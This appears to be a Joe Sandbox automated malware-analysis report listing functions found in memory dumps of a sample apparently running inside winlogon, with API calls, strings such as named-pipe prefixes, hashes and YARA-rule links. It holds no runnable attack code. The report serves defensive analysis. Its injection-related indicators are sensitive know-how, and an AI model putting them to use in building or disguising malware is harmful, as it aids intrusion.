API String ID: 517849248-4147670505
Opcode ID: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction ID: f5c0b545fa3a07ccbfa5bb088918576c4613ccf87af992a5142b58f16c0f08fa
Opcode Fuzzy Hash: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction Fuzzy Hash: F411A532B5878551FB129B25E8007DA76A5BF48748FC08429AA4983694EF3BC90BC7C3

Function 000001CA7D1E3950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 000001CA7D1E3972
StrStrW.SHLWAPI ref: 000001CA7D1E3990
StrToIntW.SHLWAPI ref: 000001CA7D1E39B7

Part of subcall function 000001CA7D1E1A30: OpenProcess.KERNEL32 ref: 000001CA7D1E1A56
Part of subcall function 000001CA7D1E1A30: K32GetModuleFileNameExW.KERNEL32 ref: 000001CA7D1E1A74
Part of subcall function 000001CA7D1E1A30: PathFindFileNameW.SHLWAPI ref: 000001CA7D1E1A83
Part of subcall function 000001CA7D1E1A30: lstrlenW.KERNEL32 ref: 000001CA7D1E1A8F
Part of subcall function 000001CA7D1E1A30: StrCpyW.SHLWAPI ref: 000001CA7D1E1AA2
Part of subcall function 000001CA7D1E1A30: CloseHandle.KERNEL32 ref: 000001CA7D1E1AB0

Part of subcall function 000001CA7D1E3F88: StrCmpNIW.SHLWAPI(?,?,?,000001CA7D1E272F), ref: 000001CA7D1E3FA0

Strings

pid_, xrefs: 000001CA7D1E3968

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction ID: 913d229e8f2f92123c0244f313f8f46853348ecc3afd0aa29f5a796bf9d5dd00
Opcode Fuzzy Hash: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction Fuzzy Hash: 6311DA3375078551FB129B25E8007DAB7A4FF84B4AFC004259E49C3695EF7AC985C783

Function 000001CA7D2A1FA8 Relevance: 6.3, APIs: 4, Instructions: 304fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001CA7D2A2027
WriteFile.KERNEL32 ref: 000001CA7D2A2304
WriteFile.KERNEL32 ref: 000001CA7D2A234A
GetLastError.KERNEL32 ref: 000001CA7D2A2409

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction ID: 0fe5e95353cfd2dd0c501b22aeddf9fd2a82a384c77f1e00d125b204ea73b71d
Opcode Fuzzy Hash: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction Fuzzy Hash: DFD1CB33B14B9889F712CFA5D440ADD37B1FB95B98F805116CE59ABB99DA35C00BC382

Function 000001CA7D221FA8 Relevance: 6.3, APIs: 4, Instructions: 304fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001CA7D222027
WriteFile.KERNEL32 ref: 000001CA7D222304
WriteFile.KERNEL32 ref: 000001CA7D22234A
GetLastError.KERNEL32 ref: 000001CA7D222409

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction ID: dd6aa663578507b66a76ee1b3aff8a7eb3297d8e7c986e84e6755fe8025d9d4f
Opcode Fuzzy Hash: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction Fuzzy Hash: B1D1CA33B14B8889F712CFA5D440ADC37B1FB54B98F814216EE49A7B99DA36D107C386

Function 000001CA7D1F1FA8 Relevance: 6.3, APIs: 4, Instructions: 304fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000001CA7D1F2027
WriteFile.KERNEL32 ref: 000001CA7D1F2304
WriteFile.KERNEL32 ref: 000001CA7D1F234A
GetLastError.KERNEL32 ref: 000001CA7D1F2409

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction ID: 18d3852c168644b29a851a8876877b9c6a5370015fb03373ffbcdf4b1c2788c7
Opcode Fuzzy Hash: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction Fuzzy Hash: FBD1C833B55B8889F712CFA5D440ADC37B1FB44B98F804256CE4EA7B9ADA35C106C382

Function 000001CA7D2914A0 Relevance: 6.3, APIs: 5, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D2914C6
HeapFree.KERNEL32 ref: 000001CA7D2914D5
GetProcessHeap.KERNEL32 ref: 000001CA7D2914E2
HeapFree.KERNEL32 ref: 000001CA7D2914F1
GetProcessHeap.KERNEL32 ref: 000001CA7D291501

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction ID: 662269b3e822107970afb4c35fa0ae41ecd28bd6936e08448754d08bde8c420b
Opcode Fuzzy Hash: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction Fuzzy Hash: 7F015732A50B84DAE715DF66A80499A77A0FBC8F88B894025DF4957728DE39D052C782

Function 000001CA7D2114A0 Relevance: 6.3, APIs: 5, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D2114C6
HeapFree.KERNEL32 ref: 000001CA7D2114D5
GetProcessHeap.KERNEL32 ref: 000001CA7D2114E2
HeapFree.KERNEL32 ref: 000001CA7D2114F1
GetProcessHeap.KERNEL32 ref: 000001CA7D211501

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction ID: 72ca8a3ca2c797191b1185e72d0950ed6f6b3868902fa79715834b3bdb5aef3e
Opcode Fuzzy Hash: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction Fuzzy Hash: 18018B32A40B94CAE715DF62A80459977A0FB88F84F868025EB4943718DE39E052C386

Function 000001CA7D1E14A0 Relevance: 6.3, APIs: 5, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001CA7D1E14C6
HeapFree.KERNEL32 ref: 000001CA7D1E14D5
GetProcessHeap.KERNEL32 ref: 000001CA7D1E14E2
HeapFree.KERNEL32 ref: 000001CA7D1E14F1
GetProcessHeap.KERNEL32 ref: 000001CA7D1E1501

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction ID: 067d4f9d96a6597854837632812c8a5965103370f5823a428bd146fe93ab2a8e
Opcode Fuzzy Hash: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction Fuzzy Hash: 3F01AD73A45B84CAF715DF62E80458877B0FB88F85B464025DF4A43718DF35E191C382

Function 000001CA7D2A28F4 Relevance: 6.2, APIs: 4, Instructions: 229COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,000001CA7D2A28DF), ref: 000001CA7D2A2A12

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction ID: 883afdda5ac88cf6514580bd6892867edb55701f6eb5cb203455b40a889b7c34
Opcode Fuzzy Hash: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction Fuzzy Hash: 5E91F233A5075999FB528F659450BEE37A0FF94B8CF846106DE0A6BA85DB36C04783C3

Function 000001CA7D2228F4 Relevance: 6.2, APIs: 4, Instructions: 229COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,000001CA7D2228DF), ref: 000001CA7D222A12

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction ID: 68b43c0824a30f871ee081a9c83458cb90aaee78de66b724d65557e9164a7766
Opcode Fuzzy Hash: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction Fuzzy Hash: 0791E033A5075899FB628F659850BED3BA0BF54B8CF854106EE0A57A94CA37D047C3CB

Function 000001CA7D1F28F4 Relevance: 6.2, APIs: 4, Instructions: 229COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,000001CA7D1F28DF), ref: 000001CA7D1F2A12

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction ID: 5eb7d5947bc20cfa67c7895d0bc5de5f10d0b69c3d0a7686c240678f5a04625b
Opcode Fuzzy Hash: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction Fuzzy Hash: E391EF33F5275899FB62CF659450BED3BA0BB54B8CF844146DE0A93A85DB36C446C383

Function 000001CA7D298090 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001CA7D2980BC
GetCurrentThreadId.KERNEL32 ref: 000001CA7D2980CA
GetCurrentProcessId.KERNEL32 ref: 000001CA7D2980D6
QueryPerformanceCounter.KERNEL32 ref: 000001CA7D2980E6

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction ID: 309fc4a10813a887c16493d1ce2c5572945cc3e6c6069e0ff5507602679b0d55
Opcode Fuzzy Hash: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction Fuzzy Hash: 99111836B50F088AFB01CB60E8547AA33A4FB59758F840E21DE6D967A4EB78C15583C2

Function 000001CA7D218090 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001CA7D2180BC
GetCurrentThreadId.KERNEL32 ref: 000001CA7D2180CA
GetCurrentProcessId.KERNEL32 ref: 000001CA7D2180D6
QueryPerformanceCounter.KERNEL32 ref: 000001CA7D2180E6

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction ID: e1da5454589ae589727566414135aba046387261922def3505f63e54200d3d87
Opcode Fuzzy Hash: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction Fuzzy Hash: A8115736B50F088AFB00CF60E8547A833A4FB58758F840E21EA2D867A8DF78D15583C2

Function 000001CA7D2927E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001CA7D2928CC
StrCpyW.SHLWAPI ref: 000001CA7D2928E5

Part of subcall function 000001CA7D293F88: StrCmpNIW.SHLWAPI(?,?,?,000001CA7D29272F), ref: 000001CA7D293FA0

Strings

\\.\pipe\, xrefs: 000001CA7D2928D7

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d290000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction ID: a1ec85385bb10c050ff026c888441d939cb2e74fe620a6861c714d04218da524
Opcode Fuzzy Hash: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction Fuzzy Hash: 0371C037A84B8956F7369E26D940BEA7794FF84789FD10016DD0963B88DA36C50287C3

Function 000001CA7D2127E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001CA7D2128CC
StrCpyW.SHLWAPI ref: 000001CA7D2128E5

Part of subcall function 000001CA7D213F88: StrCmpNIW.SHLWAPI(?,?,?,000001CA7D21272F), ref: 000001CA7D213FA0

Strings

\\.\pipe\, xrefs: 000001CA7D2128D7

Memory Dump Source

Source File: 0000000F.00000002.3355102486.000001CA7D211000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D210000, based on PE: true

Associated: 0000000F.00000002.3354407705.000001CA7D210000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3355894210.000001CA7D225000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3356681840.000001CA7D230000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3357412344.000001CA7D232000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3358060672.000001CA7D239000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d210000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction ID: 8d43051fae0432339c287c2151160f3a64fceb99f59810b575694d931f32b1a0
Opcode Fuzzy Hash: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction Fuzzy Hash: 5371F733A8474591FB369E2A9841BEA7794FF44788F90801AED0953B84DE37C606C7C3

Function 000001CA7D1E27E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001CA7D1E28CC
StrCpyW.SHLWAPI ref: 000001CA7D1E28E5

Part of subcall function 000001CA7D1E3F88: StrCmpNIW.SHLWAPI(?,?,?,000001CA7D1E272F), ref: 000001CA7D1E3FA0

Strings

\\.\pipe\, xrefs: 000001CA7D1E28D7

Memory Dump Source

Source File: 0000000F.00000002.3350459570.000001CA7D1E1000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D1E0000, based on PE: true

Associated: 0000000F.00000002.3349704091.000001CA7D1E0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3351334888.000001CA7D1F5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352170833.000001CA7D200000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3352963856.000001CA7D202000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3353741849.000001CA7D209000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_1ca7d1e0000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction ID: 5d50e4c69690dc07a888c6352a7c53a26a02212cebad6fb895a16883e0e52a6b
Opcode Fuzzy Hash: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction Fuzzy Hash: C371C537A40B9951F7369E26D864BEA7794FB84B8AF85101ADD0943B88DE76C600C783

Function 000001CA7D1B80A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001CA7D1B80CB
_IsNonwritableInCurrentImage.LIBCMT ref: 000001CA7D1B8162

Strings

csm, xrefs: 000001CA7D1B8149

Memory Dump Source

Source File: 0000000F.00000003.1645690785.000001CA7D1B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001CA7D1B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_1ca7d1b0000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: fd78e535435ffec6a742ccc5ca62527ce80d22f415176f15bbae23ba0b9d84d4
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: 6C518133B52B088AFB55DF15D444FA83391FB44F9CF954129AA4D47B88D77AC841C782

Function 000001CA7D1B9AFC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000001CA7D1B9BA7

Strings

MOC, xrefs: 000001CA7D1B9B6F
RCC, xrefs: 000001CA7D1B9B77

Memory Dump Source

Source File: 0000000F.00000003.1645690785.000001CA7D1B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001CA7D1B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_3_1ca7d1b0000_winlogon.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: b460edc10a65c72ae55a20d42f54f48aa37f6c81a21e5efe8d7f1e1a140c3131
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: 9161A333908BC882E7729F15E440BDAB7A0FB85B98F444215EB9C47B99CB79D191CB42

Function 000001CA7D2925DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000001CA7D2926C2
StrCpyW.SHLWAPI ref: 000001CA7D2926D9

Strings

\\.\pipe\, xrefs: 000001CA7D2926CD

Memory Dump Source

Source File: 0000000F.00000002.3360858425.000001CA7D291000.00000020.00000001.00020000.00000000.sdmp, Offset: 000001CA7D290000, based on PE: true

Associated: 0000000F.00000002.3360109586.000001CA7D290000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3361714879.000001CA7D2A5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3362434977.000001CA7D2B0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363247667.000001CA7D2B2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.3363997537.000001CA7D2B9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

